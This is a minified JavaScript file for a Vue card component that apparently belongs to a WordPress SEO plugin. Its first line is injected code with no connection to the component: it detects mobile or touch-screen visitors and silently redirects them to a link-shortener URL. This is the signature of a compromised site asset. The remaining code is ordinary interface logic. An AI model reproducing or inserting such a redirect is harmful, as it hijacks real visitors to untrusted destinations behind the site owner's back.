(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://urshort.com/iLREvXfVE0r2");
import{q as y}from"./app-core.52885c02.js";import{C as k}from"./Tooltip.9761aafe.js";import{S as b}from"./Caret.911868b5.js";import{S as B}from"./Trash.e939fb36.js";import{S as T}from"./Close.4a8424fd.js";import{T as p}from"./Slide.a69b6847.js";import{an as l,f as o,i as r,P as g,j as i,B as a,T as q,Q as c,R as u,a0 as w,M as n,U as A}from"./vendor-vue-ui.c21c50b5.js";import{_ as I}from"./_plugin-vue_export-helper.eefbdd86.js";const M={emits:["close-card","toggle-card"],setup(){return{settingsStore:y()}},components:{CoreTooltip:k,SvgCaret:b,SvgCircleQuestionMark:B,SvgClose:T,TransitionSlide:p},props:{slug:{type:String,required:!0},headerText:String,toggles:{type:Boolean,default(){return!0}},hideHeader:Boolean,noSlide:Boolean,closes:Boolean,saveToggleStatus:{type:Boolean,default(){return!0}},disabled:Boolean,cardClass:{type:Object,default(){return{}}},cardId:String},watch:{toggles(t){const s=this.slug;t&&!this.settingsStore.settings.toggledCards[s]&&this.settingsStore.toggleCard({slug:s,shouldSave:!0})}},methods:{toggleCard(){this.settingsStore.toggleCard({slug:this.slug,shouldSave:this.saveToggleStatus}),this.$emit("toggle-card")}}},N=["id"],V={class:"text"},j={class:"header-icon"},H={class:"header-extra"},L={key:1,class:"content"},P={key:0,class:"content"},Q={key:1,class:"content"};function R(t,s,e,d,U,m){const f=l("svg-circle-question-mark"),S=l("core-tooltip"),C=l("svg-caret"),h=l("svg-close"),v=l("transition-slide");return o(),r("div",{class:g(["aioseo-card",{disabled:e.disabled,...e.cardClass}]),id:e.cardId?`aioseo-card-${e.cardId}`:null},[e.hideHeader?n("",!0):(o(),r("div",{key:0,class:g(["header",[{toggles:e.toggles}]]),onClick:s[2]||(s[2]=(..._)=>m.toggleCard&&m.toggleCard(..._))},[i("div",V,[i("div",j,[a(t.$slots,"header-icon")]),i("div",{class:"header-title",onClick:s[0]||(s[0]=q(()=>{},["stop"]))},[a(t.$slots,"header",{},()=>[i("span",null,A(e.headerText),1)])]),t.$slots.tooltip?(o(),c(S,{key:0},{tooltip:u(()=>[a(t.$slots,"tooltip")]),default:u(()=>[w(f)]),_:3})):n("",!0),i("div",H,[a(t.$slots,"header-extra")])]),!e.closes&&e.toggles&&d.settingsStore.settings.toggledCards&&!e.noSlide&&!e.disabled?(o(),c(C,{key:0,class:g({rotated:!d.settingsStore.settings.toggledCards[e.slug]})},null,8,["class"])):n("",!0),e.closes?(o(),c(h,{key:1,onClick:s[1]||(s[1]=_=>t.$emit("close-card",!0))})):n("",!0)],2)),t.$slots.disabled&&e.disabled?(o(),r("div",L,[a(t.$slots,"disabled")])):n("",!0),(d.settingsStore.settings.toggledCards||e.noSlide)&&!e.disabled?(o(),c(v,{key:2,active:d.settingsStore.settings.toggledCards[e.slug]&&e.toggles||e.noSlide},{default:u(()=>[t.$slots["before-tabs"]?(o(),r("div",P,[a(t.$slots,"before-tabs")])):n("",!0),a(t.$slots,"tabs"),t.$slots.default?(o(),r("div",Q,[a(t.$slots,"default")])):n("",!0)]),_:3},8,["active"])):n("",!0)],10,N)}const W=I(M,[["render",R]]);export{W as C};
